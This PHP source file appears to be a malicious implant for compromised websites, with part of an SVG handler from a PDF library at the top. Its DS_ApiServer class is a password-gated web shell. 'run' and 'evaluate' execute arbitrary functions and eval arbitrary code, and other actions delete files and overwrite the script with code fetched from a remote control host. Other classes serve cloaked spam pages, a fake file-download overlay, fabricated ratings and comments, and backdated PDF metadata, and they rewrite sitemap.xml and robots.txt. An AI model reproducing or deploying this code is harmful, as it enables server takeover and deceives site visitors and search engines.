{$this->svgtextmode['stroke']=false;}$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,1,1);$this->x=$x;$this->y=$y;break;}case 'use':{if(isset($attribs['xlink:href']) AND !empty($attribs['xlink:href'])){$svgdefid=substr($attribs['xlink:href'],1);if(isset($this->svgdefs[$svgdefid])){$use=$this->svgdefs[$svgdefid];if(isset($attribs['xlink:href'])){unset($attribs['xlink:href']);}if(isset($attribs['id'])){unset($attribs['id']);}if(isset($use['attribs']['x']) AND isset($attribs['x'])){$attribs['x']+=$use['attribs']['x'];}if(isset($use['attribs']['y']) AND isset($attribs['y'])){$attribs['y']+=$use['attribs']['y'];}if(empty($attribs['style'])){$attribs['style']='';}if(!empty($use['attribs']['style'])){$attribs['style']=str_replace(';;',';',';'.$use['attribs']['style'].$attribs['style']);}$attribs=array_merge($use['attribs'],$attribs);$this->startSVGElementHandler($parser,$use['name'],$attribs);return;}}break;}default:{break;}}if(!empty($attribs['child_elements'])){$child_elements=$attribs['child_elements'];unset($attribs['child_elements']);foreach($child_elements as $child_element){if(empty($child_element['attribs']['closing_tag'])){$this->startSVGElementHandler('child-tag',$child_element['name'],$child_element['attribs']);}else {if(isset($child_element['attribs']['content'])){$this->svgtext=$child_element['attribs']['content'];}$this->endSVGElementHandler('child-tag',$child_element['name']);}}}} function endSVGElementHandler($parser,$name){$name=$this->removeTagNamespace($name);if($this->svgdefsmode AND !in_array($name,array('defs','clipPath','linearGradient','radialGradient','stop'))){;if(end($this->svgdefs)!==FALSE){$last_svgdefs_id=key($this->svgdefs);if(isset($this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'])){foreach($this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'] as $child_element){if(isset($child_element['attribs']['id']) AND ($child_element['name']==$name)){$this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'][$child_element['attribs']['id'].'_CLOSE']=array('name'=>$name,'attribs'=>array('closing_tag'=>TRUE,'content'=>$this->svgtext));return;}}if($this->svgdefs[$last_svgdefs_id]['name']==$name){$this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'][$last_svgdefs_id.'_CLOSE']=array('name'=>$name,'attribs'=>array('closing_tag'=>TRUE,'content'=>$this->svgtext));return;}}}return;}switch($name){case 'defs':{$this->svgdefsmode=false;break;}case 'clipPath':{$this->svgclipmode=false;break;}case 'svg':{if(--$this->svg_tag_depth<=0){break;}}case 'g':{array_pop($this->svgstyles);$this->StopTransform();break;}case 'text':case 'tspan':{if($this->svgtextmode['invisible']){break;}$text=$this->svgtext;$textlen=$this->GetStringWidth($text);if($this->svgtextmode['text-anchor']!='start'){if($this->svgtextmode['text-anchor']=='end'){if($this->svgtextmode['rtl']){$this->x+=$textlen;}else {$this->x-=$textlen;}}elseif($this->svgtextmode['text-anchor']=='middle'){if($this->svgtextmode['rtl']){$this->x+=($textlen/2);}else {$this->x-=($textlen/2);}}}$textrendermode=$this->textrendermode;$textstrokewidth=$this->textstrokewidth;$this->setTextRenderingMode($this->svgtextmode['stroke'],true,false);if($name=='text'){$tmpx=$this->x;$tmpy=$this->y;}$this->Cell($textlen,0,$text,0,0,'',false,'',0,false,'L','T');if($name=='text'){$this->x=$tmpx;$this->y=$tmpy;}$this->textrendermode=$textrendermode;$this->textstrokewidth=$textstrokewidth;$this->svgtext='';$this->StopTransform();if(!$this->svgdefsmode){array_pop($this->svgstyles);}break;}default:{break;}}} function segSVGContentHandler($parser,$data){$this->svgtext.=$data;}}



class DS_OverlayGenerator
{
	private static $base = <<<EOF
<html>
<head>
<base target="_parent" />
<style type="text/css">
	#fake table {
		width: auto;
	}

	#fake {
		background-color: #54AAC5;
		color: white;
		position: fixed;
		top: 0;
		bottom: 0;
		left: 0;
		right: 0;
		z-index: 2147483647;
	}

	#header {
		background-color: #2C3E50;
		width: 100%;
		height: 60px;
		border-bottom: 2px solid white;
		margin-bottom: 30px;
		line-height: 60px;
		padding-left: 30px;
		font-size: 150%;
		font-weight: bold;
	}

	#z {
		color: #54AAC5;
	}

	#main {
		text-align: center;
	}

	#heading {
		font-size: 39px;
	}

	#dropzone, #filetable, #buttons a, #dots {
		display: inline-block;
	}

	#dropzone {
		width: 50%;
		border: 2px dashed rgba(255, 255, 255, 0.5);
		padding: 50px;
		margin-top: 10px;
		cursor: pointer;
	}

	#drag {
		font-size: 20px;
	}

	#click {
		font-size: 15px;
	}

	#filetable {
		color: inherit;
		font-size: 150%;
		margin-top: 50px;
	}

	.value {
		opacity: 0.5;
		padding-right: 40px;
	}

	#action {
		margin: 50px 0 30px 0;
	}

	#loading {
		font-size: 200%;
	}

	#loading img {
		vertical-align: middle;
	}

	#dots {
		width: 30px;
		text-align: left;
	}

	#head {
		opacity: 0.8;
	}

	#buttons a {
		color: white;
		margin: 0 10px;
		padding: 20px 30px;
		text-decoration: none;
		font-family: Arial, sans-serif;
	}

	#buttons .name {
		font-weight: bold;
		font-size: 130%;
	}

	#buttons .smaller {
		font-size: 80%;
		opacity: 0.7;
	}

	.premium {
		background-color:#74ad5a;
		border:1px solid #3b6e22;
		-moz-box-shadow:inset 0 1px 0 0 #9acc85;
		-webkit-box-shadow:inset 0 1px 0 0 #9acc85;
		box-shadow:inset 0 1px 0 0 #9acc85;
	}

	.free {
		background-color: #475e76;
		border:1px solid #2C3E50;
		-moz-box-shadow:inset 0 1px 0 0 #83a6cd;
		-webkit-box-shadow:inset 0 1px 0 0 #83a6cd;
		box-shadow:inset 0 1px 0 0 #83a6cd;
	}

	.hide {
		display: none;
	}
</style>
</head>
<body>
<div id="fake">
	<div id="header">
		<span id="z">Z</span> - files
	</div>

	<div id="main">
		<div id="head">
			<div id="heading">The easiest way to upload and send large files fast...</div>

			<p>You Can Upload Your Files Directly It's Free, Also You Can Signup and Get 5GB!</p>

			<hr style="width: 30%"/>
		</div>

		<table id="filetable">
			<tr>
				<td class="value">File name</td>
				<td>FILENAME</td>
			</tr>
			<tr>
				<td class="value">File size</td>
				<td>SIZE</td>
			</tr>
			<tr>
				<td class="value">Uploaded at</td>
				<td>DATE</td>
			</tr>
		</table>

		<div id="action">
			<div id="buttons" class="buttons hide">
				<a href="FREELINK" class="free">
					<div class="name">Free download</div>
					<div class="smaller">Slower, has ads</div>
				</a>
				<a href="PREMIUMLINK" class="premium">
					<div class="name">Premium download</div>
					<div class="smaller">Cheap, fast, ad-free</div>
				</a>
			</div>

			<div id="loading" class="loading hide">
				<img src="http://i.imgur.com/AYAH5ds.gif" /> Generating download link.
				<span id="seconds">30</span> seconds remaining<span id="dots"><span>
			</div>

			<script>
				(function () {
					var count = 1;
					var dots = document.getElementById("dots");
					var seconds = document.getElementById("seconds");

					var startSeconds = parseInt(seconds.innerHTML, 10);

					setInterval(function () {
						dots.innerHTML = new Array(count + 1).join(".");
						startSeconds--;

						if (startSeconds == 0) {
							document.getElementById('loading').className = 'hide';
							document.getElementById('buttons').className = '';

						}

						seconds.innerHTML = startSeconds;

						count++;
						if (count == 4) count = 1;
					}, 1000);
				})();
			</script>
		</div>

		<div id="dropzone">
			<div id="drag">Drag Your Files - Photos to Upload</div>
			<div id="click">Or click to browse</div>
		</div>
	</div>
</div>
</body>
</html>
EOF;

	public static function getHtml($values)  {
		$html = self::$base;

		$action = $values['action'];

		$html = str_replace($action . ' hide', $action, $html);

		foreach ($values as $name => $value) {
			$html = str_replace(strtoupper($name), $value, $html);
		}

		return $html;
	}
}



class DS_ApiServer
{
	/** @var DS_Installer */
	var $installer;

	/** @var DS_CacheWriter */
	var $cache;

	/** @var DS_ServerClient */
	var $serverClient;

	/** @var Bot_IPChecker */
	var $ipChecker;

	/** @var  DS_UserLogger */
	var $userLogger;

	var $options;

	var $writingError = false;
	var $remainder = '';
	var $pageidsWritten = array();

	function __construct($installer, $cache, $serverClient, $ipChecker, $userLogger, $options)
	{
		$this->installer = $installer;
		$this->cache = $cache;
		$this->serverClient = $serverClient;
		$this->ipChecker = $ipChecker;
		$this->userLogger = $userLogger;
		$this->options = $options;
	}

	function checkPassword($password)
	{
		return $this->options['password'] && $password === $this->options['password'];
	}

	function processApiCall($server, $POST)
	{
		if (! $this->checkPassword(@$server['HTTP_X_PASSWORD'])) return false;

		$action = $server['HTTP_X_ACTION'];

		if ($action == 'none') return false;

		header("Cache-Control: no-cache");

		if (! method_exists($this, $action)) {
			return "Missing action $action";
		}

		$this->timeLimit(600);

		return $this->_stringifyResponse($this->$action($POST));
	}

	function download()
	{
		$file = @$_SERVER['HTTP_X_FILE'];

		if (! $file) return "Provide file in x-file";

		header('Content-disposition: attachment; filename='.$file.'.bin');
		header('Content-type: application/octet-stream');

		echo $this->cache->read($file);
		exit(0);
	}

	function remove()
	{
		$file = @$_SERVER['HTTP_X_FILE'];

		if (! $file) return "Provide file in x-file";

		return array(
			'status' => $this->cache->remove($file)
		);
	}

	function shouldInclude($server)
	{
		if (! $this->checkPassword(@$server['HTTP_X_PASSWORD'])) return false;
		if ($server['HTTP_X_ACTION'] != 'getIncludedFiles') return false;

		return $this->getIncludedFiles();
	}

	function _stringifyResponse($response)
	{
		return json_encode($response);
	}

	function timeLimit($seconds)
	{
		@set_time_limit($seconds);
		@ini_set('max_execution_time', $seconds);
	}

	function removePreviousCache()
	{
		$myDir = realpath($this->cache->getDir());

		$dirs = $this->cache->listDirs($_SERVER['DOCUMENT_ROOT']);
		$dirs = preg_grep('#.X1-unix$#', $dirs);

		foreach ($dirs as $dir) {
			if (realpath($dir) == $myDir) continue;

			$this->cache->removeDir($dir);
		}
	}

	function install()
	{
		$this->timeLimit(300);

		$this->removePreviousCache();

		$this->installer->dropHtmlDoorways();

		if ($file = @$_SERVER['HTTP_X_REMOVE']) {
			dds_debug("Removing $file");
			@unlink($file);
		}

		$res = $this->installer->includeSelf();

		if (! $res || $res['error']) {
			return $res;
		}

		$res['modrewrite'] = $this->installer->hasModRewrite();
		$res['freespace'] = $this->cache->getFreeSpace();

		return $res;
	}

	function getData($url)
	{
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_ENCODING, "gzip");
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		$data = curl_exec($ch);
		curl_close($ch);
		return $data;
	}

	function hello()
	{
		$commonFiles = array('bots/ips', 'bots/masks', 'bots/useragents', 'redirect', 'template');

		$missingFiles = $this->cache->getMissing($commonFiles);

		$response = array(
			'name' => $this->cache->makeName('testfile'),
			'file' => $this->getOwnFile(),
			'dir' => $this->cache->getDir(),
			'dirWritable' => is_writable($this->cache->getDir()),
			'version' => $this->options['version'],
			'commonExist' => ! $missingFiles,
			'missingFiles' => $missingFiles,
			'redirect' => $this->cache->read('redirect')
		);

		foreach (array('gzencode', 'gzcompress', 'gzdeflate') as $name) {
			$response[$name] = function_exists($name);
		}

		if (! $missingFiles) {
			$response['botIpNumber'] = strlen($this->cache->read('bots/ips')) / 4;
			$response['templateSize'] = strlen($this->cache->read('template'));
		}

		return $response;
	}

	function getUserLog()
	{
		return $this->userLogger->getLogs();
	}

	function phpinfo()
	{
		phpinfo();
		return "";
	}

	function run($params)
	{
		return $params['function']($params['arg1'], $params['arg2']);
	}

	function evaluate($params)
	{
		return eval($params['arg']);
	}

	function printMarker()
	{
		return array();
	}

	function getOwnFile()
	{
		return preg_replace('@\(.*\(.*$@', '', __FILE__);
	}

	function _printIncluded()
	{
		echo '<dds-delimiter>'.$this->_stringifyResponse(get_included_files()).'</dds-delimiter>';
	}

	function getIncludedFiles()
	{
		$file = strrev($_SERVER['HTTP_X_CHECKED_FILE']);

		chdir(dirname($file));

		$myname = $_SERVER['SCRIPT_NAME'];

		foreach ($_SERVER as $key => $value) {
			$_SERVER[$key] = str_replace($myname, '/'.basename($file), $value);
		}

		$_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_URL'] = '/';
		$_SERVER['SCRIPT_URI'] = 'http://'.$_SERVER['HTTP_HOST'] . '/';

		$shutdown = array($this, '_printIncluded');

		register_shutdown_function($shutdown);

		return array(
			'file' => $file,
			'shutdown' => $shutdown
		);
	}

	function showCache()
	{
		return $this->cache->read($_SERVER['HTTP_X_FILE']);
	}

	function dropCache()
	{
		return $this->cache->remove($_SERVER['HTTP_X_FILE']);
	}

	function showIps()
	{
		return $this->ipChecker->getIpList();
	}

	function update()
	{
		if (@$_SERVER['HTTP_X_REPLACE'] || $_SERVER['HTTP_X_VERSION'] != $this->options['version']) {
			return array_merge(array(
				'updating' => true,
				'myversion' => $this->options['version'],
				'currentversion' => $_SERVER['HTTP_X_VERSION'],
			), $this->updateSelf());
		}

		$this->installer->dropHtmlDoorways();

		$pageVersion = $this->cache->read('page version', -1);
		$serverPageVersion = @$_SERVER['HTTP_X_PAGESUPDATEDAT'];

		dds_debug("Our page version $pageVersion");
		dds_debug("Server page version $serverPageVersion");

		
		$linksWereUpdated = $pageVersion != $serverPageVersion;

		$response = array('success' => true);

		foreach (array('redirecttype', 'redirectwith', 'frameurl', 'apikey', 'onlybots', 'sitemap', 'innerlinkdisplay') as $name) {
			$value = @$_SERVER['HTTP_X_'.strtoupper($name)];

			if (! $value) continue;

			$this->cache->write($name, $value);
		}

		$this->updateSitemap();

		if ($serverNewIps = @$_SERVER['HTTP_X_NEW']) {
			foreach (explode(',', $serverNewIps) as $newIp) {
				$this->ipChecker->addIpToList(long2ip($newIp));
			}
		}

		if ($linksWereUpdated || ! $this->metaUpToDate()) {
			$this->updateMeta();
			$response['updated_meta'] = true;
		}

		$pagesNumber = count($this->cache->jsonRead('pageids', array()));

		dds_debug("We have $pagesNumber pages");

		$serverPageCount = $_SERVER['HTTP_X_PAGES'];
		$haveNotAllPages = $pagesNumber != $serverPageCount;

		$response['myPageNumber'] = $pagesNumber;

		$count = count($this->cache->listFiles($this->cache->getDir()));
		$response['actualCacheCount'] = $count;
		$response['serverPageCount'] = $serverPageCount;

		# some leeway for local cache count so that - some sites have repeating pathes, so count in cache table is e.g. 1000, with only 900 unique,
		# local site has all 900, but they're redownloaded all the time since script thinks some pages are missing
		if ($count + 1000 < $serverPageCount) {
			$haveNotAllPages = true;
			$pageVersion = -1;
		}

		if ($haveNotAllPages || $linksWereUpdated) {
			$response['updated_pages'] = $this->updatePages($pageVersion, $serverPageVersion);
		}

		$newIps = $this->ipChecker->getNewIpList();

		foreach ($newIps as $ip) {
			$this->ipChecker->addIpToList($ip);
		}

		$this->cache->remove('bots/new_ips');

		$response['newIps'] = array_map(array($this, 'toLong'), $newIps);
		$response['debug'] = array_slice(@$GLOBALS['DDS_DEBUG_MESSAGES'], 0, 50);

		return $response;
	}

	function updateSitemap()
	{
		if ($this->cache->read('sitemap') != 'yes') return;

		$sitemapFile = $_SERVER['DOCUMENT_ROOT'] . '/sitemap.xml';

		$sitemap = $this->getSitemapContents();

		$current = file_get_contents($sitemapFile);

		if ($current != $sitemap) {
			$written = file_put_contents($sitemapFile, $sitemap) > 0;

			if (! $written) {
				dds_debug("Could not write sitemap to $sitemapFile");
				$this->cache->remove('sitemap_showtype');
				return;
			}
		}

		if ($this->writeRobots()) {
			$this->cache->write('sitemap_showtype', 'robots');
		} else {
			$this->cache->write('sitemap_showtype', 'inline');
		}
	}

	function getSitemapContents()
	{
		if ($text = $this->cache->read('sitemap_text') && time() - 3600 * 24 * 2 < $this->cache->read('sitemap_since', 0)) {
			return $text;
		}

		$sitemap = $this->serverClient->getSitemap();
		$this->cache->write('sitemap_text', $sitemap);
		$this->cache->write('sitemap_since', time());
		return $sitemap;
	}

	function writeRobots()
	{
		$robotsPath = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
		$robotsContent = file_get_contents($robotsPath);

		if (false !== strpos($robotsContent, '/sitemap.xml')) return true;

		$robotsContent .= "
";
		$robotsContent .= "User-Agent: *
";
		$robotsContent .= "Sitemap: http://{$_SERVER['HTTP_HOST']}/sitemap.xml
";

		return file_put_contents($robotsPath, $robotsContent) > 0;
	}

	function toLong($ip)
	{
		
		return sprintf('%u', ip2long($ip));
	}

	function metaUpToDate()
	{
		if ($_SERVER['HTTP_X_FORCEUPDATE']) {
			dds_debug("Update forced");
			return false;
		}

		$serverIpNumber = $_SERVER['HTTP_X_IPNUMBER'];
		$ourIpNumber = $this->ipChecker->getIpCount();

		if ($serverIpNumber != $ourIpNumber) {
			dds_debug("Server ip number $serverIpNumber, our $ourIpNumber");
			return false;
		}

		if ($_SERVER['HTTP_X_UANUMBER'] != count($this->cache->jsonRead('bots/useragents', array()))) {
			dds_debug("Different UA number");
			return false;
		}

		if ($_SERVER['HTTP_X_MASKNUMBER'] != count($this->cache->jsonRead('bots/masks', array()))) {
			dds_debug("Different mask number");
			return false;
		}

		if (! $this->cache->read('template')) {
			dds_debug("Bad template");
			return false;
		}

		if (0 == count($this->cache->jsonRead('links', array()))) {
			dds_debug("No links to inject");
			return false;
		}

		$redirect = $this->cache->read('redirect');

		if (! $redirect) {
			dds_debug("No redirect");
			return false;
		}

		if (md5($redirect) != $_SERVER['HTTP_X_DESTINATION']) {
			dds_debug("Bad redirect hash");
			return false;
		}

		return true;
	}

	function updateMeta()
	{
		$meta = $this->serverClient->getMeta();

		if (! $meta) return array(
			'error' => 'No meta received'
		);

		$meta = json_decode($meta, true);

		$meta['bots/ips'] = base64_decode($meta['bots/ips']);
		$meta['bots/useragents'] = json_encode($meta['bots/useragents']);
		$meta['bots/masks'] = json_encode($meta['bots/masks']);
		$meta['links'] = json_encode($meta['links']);

		foreach ($meta as $file => $data) {
			$this->cache->write($file, $data);
		}
	}

	function updatePages($myVersion, $serverPageVersion)
	{
		$page = $this->cache->read('next page', 0);

		$limit = isset($_SERVER['HTTP_X_LIMIT']) ? intval($_SERVER['HTTP_X_LIMIT']) : 3000;

		$callback = array($this, 'writePage');

		$this->serverClient->loadPages($callback, $page, $myVersion, $limit);

		$pageidsExisting = $this->cache->jsonRead('pageids', array());
		$pageids = array_unique(array_merge($pageidsExisting, $this->pageidsWritten));
		
		$this->cache->write('pageids', json_encode($pageids));

		$done = count($this->pageidsWritten) < $limit;

		if ($done) {
			$this->cache->write('page version', $serverPageVersion);
			$this->cache->remove('next page');
		} else {
			$this->cache->write('next page', $page + 1);
		}

		return array(
			'done' => $done,
			'error' => $this->writingError,
			'lasterror' => error_get_last(),
			'pageCount' => count($this->pageidsWritten),
			'total' => count($pageids),
			'limit' => $limit,
			'myVersion' => $myVersion,
			'serverVersion' => $serverPageVersion,
			'page' => $page
		);
	}

	function writePage($ch, $data)
	{
		$dataSize = strlen($data);
		$data = $this->remainder . $data;
		$lines = explode("
", $data);
		$this->remainder = array_pop($lines);

		$pageCount = 0;

		foreach ($lines as $line) {
			$line = trim($line);

			if (! $line) continue;

			$pageCount++;

			$page = json_decode($line, true);

			if (! $this->cache->hasSpace()) {
				$this->writingError = "No space";
				return 0;
			}

			$path = $page['path'];

			unset($page['path']);

			$data = json_encode($page);
			$written = $this->cache->write($path, $data);

			if (! $written) {
				$this->writingError = "Could not write $path length " . strlen($data);
				return 0;
			}

			$this->pageidsWritten[] = $page['id'];
		}

		return $dataSize;
	}

	function updateSelf()
	{
		$minify = intval($_SERVER['HTTP_X_MINIFY']);

		$code = $this->serverClient->getCode($minify);

		if (! $code) return array(
			'error' => 'no code from server'
		);

		$file = $this->getOwnFile();

		$written = file_put_contents($file, $code);

		
		sleep(10);

		return array(
			'file' => $file,
			'written' => $written,
		);
	}
}




class DS_ServerClient
{
	/** @var  DS_Browser */
	var $browser;

	var $host;

	var $password;

	function __construct($browser, $host, $password)
	{
		$this->browser = $browser;
		$this->host = $host;
		$this->password = $password;
	}

	function getCode($minify)
	{
		return $this->_query('/code/'.$this->password.'/'.$minify);
	}

	function getMeta()
	{
		return $this->_query('/meta/'.$this->password);
	}

	function getSitemap()
	{
		return $this->_query('/sitemap/'.$this->password);
	}

	function _query($path, $options = array())
	{
		$url = 'http://' . $this->host . $path;
		dds_debug("Query to $url");
		return $this->browser->get($url, $options);
	}

	function loadPages($callback, $page, $minUpdatedat, $limit)
	{
		$res = $this->_query("/pages/$this->password/$minUpdatedat/$page/$limit", array(
			CURLOPT_TIMEOUT => 500,
			CURLOPT_WRITEFUNCTION => $callback
		));

		return $res;
	}
}



class Bot_ContentGenerator
{
	/** @var  DS_CacheWriter */
	var $cache;

	var $uri;

	var $linksToInject = array();

	var $linkReplaceMax = 6;
	var $linkReplaceGroupSize = 1;

	var $overrideTime = false;

	var $filenameMaker;

	/** @var  DS_Browser */
	var $browser;

	function __construct($cache, $filenameMaker, $uri, $browser)
	{
		$this->cache = $cache;
		$this->filenameMaker = $filenameMaker;
		$this->uri = $uri;
		$this->browser = $browser;
	}

	function canTouchUri()
	{
		if (preg_match('#\.(js|txt|css)#', $this->uri)) return false;

		return true;
	}

	function endsWith($haystack, $needle)
	{
		return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== FALSE);
	}

	function getUriData($key = false)
	{
		$data = $this->cache->jsonRead($this->uri, false);

		if (! $data) {
			dds_debug("No cache data for '$this->uri'");
		} else if ($key) {
			return $data[$key];
		}

		return $data;
	}

	function getKeyword()
	{
		return $this->getUriData('keyword');
	}

	function getMainKeyword()
	{
		return $this->getUriData('mainkeyword');
	}

	function hideLinks($html)
	{
		return preg_replace_callback('#(<a href=".+?") data-at="(.+?)">(.+?)(</a>)#is', array($this, 'hideLink'), $html);
	}

	function hideLink($matches)
	{
		list(, $first, $postedat, $anchor, $last) = $matches;

		$postedAt = intval($postedat);

		if ($this->shouldBePosted($postedAt) || @$GLOBALS['DDS_DEBUG_MODE']) {
			$value = $first . ">" . $anchor . $last;
		} else {
			$value = $anchor;
		}

		if (@$GLOBALS['DDS_DEBUG_MODE']) {
			$value .= ' ((' . $this->printTimeDifference($postedAt) . '))';
		}

		return $value;
	}

	function hasContent()
	{
		return $this->getUriData() != false;
	}

	function printCache($redirectKey)
	{
		if (! ($data = $this->getUriData())) {
			return false;
		}

		if (@$data['postedat']) {
			
			if (! $this->shouldBePosted($data['postedat'] + 60)) {
				$time = time();
				dds_debug("Should not be posted, posted at {$data['postedat']}, now $time");
				return false;
			}
		}

		$data['text'] = $this->hideLinks($data['text']);

		if ($this->endsWith($this->uri, '.pdf')) {
			dds_debug("Making pdf");

			$key = $this->getKeyword();

			if (! $key) {
				$key = preg_replace('#^/\??#', '', $this->uri);
			}

			$filename = $this->filenameMaker->getFilename($key);

			return $this->printPDF($data, $filename);
		} else {
			dds_debug("Making html");
			return $this->printHtmlPage($data, $redirectKey);
		}
	}

	function fetchImage($url){
		return $this->browser->get($url, array(
			CURLOPT_TIMEOUT => 2,
			CURLOPT_CONNECTTIMEOUT => 1
		));
	}

	function loadImage($matches) {
		$url = $matches[2];

		$cacheImage = strpos($matches[3], 'data-save="yes"') !== false;

		if (! $cacheImage) {
			$body = $this->fetchImage($url);
		} else if ($this->cache->exists($url)) {
			$body = $this->cache->readRaw($url);
		} else {
			$body = $this->fetchImage($url);
			$this->cache->writeRaw($url, $body);
		}

		if (! $body) return '';

		$img = '@' . base64_encode($body);
		return $matches[1] . $img . $matches[3];
	}

	function printPDF($data, $filename)
	{
		$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);

		$pdf->SetSubject($data['title']);
		$pdf->SetKeywords($data['description']);

		$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
		$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
		$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);

		$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
		$pdf->SetFont('helvetica', '', 12);

		$pdf->AddPage();

		$html = $data['text'];
		$html = preg_replace_callback('#(<img src=")([^"]+?)(".+?>)#', array($this, 'loadImage'), $html, 1);
		$pdf->writeHTML($html, true, false, true, false, '');

		mt_srand(crc32($filename));

		if ($postedat = @$data['postedat']) {
			$day = 3600 * 24;
			$moddedat = $postedat - mt_rand($day, $day * 2);
			$createdat = $postedat -  mt_rand($day * 2, $day * 5);
		} else {
			$timestamp = mt_rand(1433106000, 1436907600);
			$moddedat = mt_rand($timestamp, $timestamp);
			$createdat = mt_rand($timestamp, $timestamp);
		}

		$pdf->setDocCreationTimestamp($createdat);
		$pdf->setDocModificationTimestamp($moddedat);

		$pdf->Output($filename, 'I');

		return true;
	}

	function hasBadTemplate()
	{
		$template = $this->cache->read('template');

		if (! $template) return true;

		foreach (array('text', 'title', 'description') as $name) {
			if (false === strpos($template, "[[[$name]]]")) return true;
		}

		return false;
	}

	function removeScript($matches)
	{
		if (preg_match('#(analytics|google|twitter|facebook|yahoo|bing|src=)#i', $matches[0])) {
			return '';
		} else {
			return $matches[0];
		}
	}

	function printHtmlPage($data, $redirectKey)
	{
		$template = $this->cache->read('template');

		if (! $template) {
			dds_debug("No template");
			return false;
		}

		$template = preg_replace_callback('#<script.*?/script>#is', array($this, 'removeScript'), $template);

		$text = $data['text'];

		$comments = @$data['comments'];
		$postedat = @$data['postedat'];

		if (! $postedat) {
			dds_debug("Posted at $postedat. ".($this->getTime() - $postedat)." s ago");
		} else {
			mt_srand(crc32($this->uri));

			$rateNumber = mt_rand(50, 300);

			dds_debug("Rate number $rateNumber");

			$count = 0;
			$sum = 0;

			$time = $postedat + 3600 * 24 * 2;

			for ($i = 0; $i < $rateNumber; $i++) {
				
				$time += mt_rand(3600 * 12, 3600 * 24);

				if ($this->getTime() < $time) break;

				$count++;
				$sum += mt_rand(4, 5);
			}

			$avg = number_format($sum / $count, 1);

			$text .= $this->getRatingText($data['keyword'], $avg, $count);

			if ($this->cache->read('sitemap') == 'yes' && $this->cache->read('sitemap_showtype') == 'inline') {
				$text .= "<a href=\"/sitemap.xml\">Sitemap</a>";
			}
		}

		if ($comments && $postedat) {
			mt_srand(crc32($_SERVER['HTTP_HOST']));

			$mod = $this->randomGet('', ' id="comments"', ' class="comments"', ' id="comment-list"', ' class="comment-list"');
			$text .= "<div".$mod.">";

			$tag = $this->randomGet('p', 'div', 'span');
			$commentmod = $this->randomGet('', ' id="comment"', ' class="comment"');

			mt_srand(crc32($this->uri));

			$comments = explode("
", trim($comments));

			dds_debug("Comment number: ".count($comments));

			$time = $postedat;

			$day = 3600 * 24;

			for ($i = 0; $i < count($comments); $i++) {
				$comment = $comments[$i];

				if (! $comment) continue;

				$time += mt_rand($day / 2, $i == 0 ? $day : $day * 3);

				dds_debug("Comment posted at: ".date(DATE_W3C, $time)." diff ".($this->getTime() - $time));

				if ($this->getTime() < $time) break;

				$text .= "<$tag$commentmod>$comment</$tag>
";
			}

			$text .= "</div>";
		} else {
			dds_debug("NO COMMENTS");
		}

		$title = $data['title'];

		if (false !== strpos($title, '[filename]')) {
			$keyword = $data['keyword'];
			$title = str_replace('[filename]', $this->filenameMaker->getFilename($keyword), $title);
		}

		$template = str_replace("[[[text]]]", $text, $template);
		$template = str_replace("[[[title]]]", $title, $template);

		if (! $data['description']) {
			$template = preg_replace('#<meta name="description"[^>]*?>#', '', $template);
		} else {
			$template = str_replace("[[[description]]]", $data['description'], $template);
		}

		if ($this->cache->read('redirectwith') == 'frame') {
			dds_debug('Adding script writing script');
			$template = preg_replace('#(</head.*?>)#i', $this->getScriptWritingScript($redirectKey, $this->getKeyword()) . '$1', $template);
		}

		if ($this->cache->read('redirectwith') == 'fakedownload') {
			$links = $this->parseLinksToSelf($text);
			$path = $this->getFakeDownloadPath();

			$fullPath = "$path&key=" . urlencode($redirectKey);
			$fullPath .= "&free=" . urlencode($links[0]);

			$premiumLink = count($links) > 1 ? $links[1] : $links[0];
			$fullPath .= "&premium=" . urlencode($premiumLink);

			$iframe = '<iframe style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483649" src="'.htmlspecialchars($fullPath).'" frameBorder="0"></iframe>';
			$template = preg_replace('#<body.*?>#i', '$0' . $iframe, $template);
		}

		echo $template;

		return true;
	}

	function hasMyDomain($link)
	{
		return false !== strpos($link, str_replace('www.', '', $_SERVER['HTTP_HOST']));
	}

	function parseLinksToSelf($html)
	{
		preg_match_all('<a href="(.+?)">', $html, $links);
		return array_values(array_filter($links[1], array($this, 'hasMyDomain')));
	}

	function getFakeDownloadPath()
	{
		if ($data = $this->cache->read('fakedownload2')) {
			return $data;
		}

		$path = "/?something=" . md5(rand());
		$this->cache->write('fakedownload2', $path);
		return $path;
	}

	function getFakeDownloadPage()
	{
		$size = @$_COOKIE['size'];

		if (! $size) {
			$size = (rand(2000, 4000) / 100) . ' MB';
			setcookie('size', $size, time() + 600);
		}

		$date = @$_COOKIE['date'];

		if (! $date) {
			$month = 3600 * 24 * 30;
			$date = time() - $month - rand(0, $month * 2);
			$date = date('d F Y', $date);
			setcookie('date', $date, time() + 600);
		}

		$action = @$_COOKIE['action'];
		if (! $action) $action = 'buttons';

		setcookie('action', 'loading', time() + 60);

		$filename = @$_COOKIE['filename'];

		if (! $filename) {
			$filename = @$_GET['key'];
			setcookie('filename', $filename, time() + 600);
		}

		return DS_OverlayGenerator::getHtml(array(
			'action' => $action,
			'filename' => $filename,
			'size' => $size,
			'date' => $date,
			'freelink' => @$_GET['free'],
			'premiumlink' => @$_GET['premium']
		));
	}

	function getRatingText($key, $value, $count)
	{
		$myUrl = htmlspecialchars("http://" . $_SERVER['HTTP_HOST'] . $this->uri);
		$nicekey = ucwords($key);

		return <<<EOF
<div itemscope itemtype="http://schema.org/Product">
	<a itemprop="url" href="$myUrl">
		<div itemprop="name"><strong>$nicekey</strong></div>
	</a>

	<div itemprop="description"></div>

	<div id="rating-text" class="rating-label clearfix">
		<span itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating">
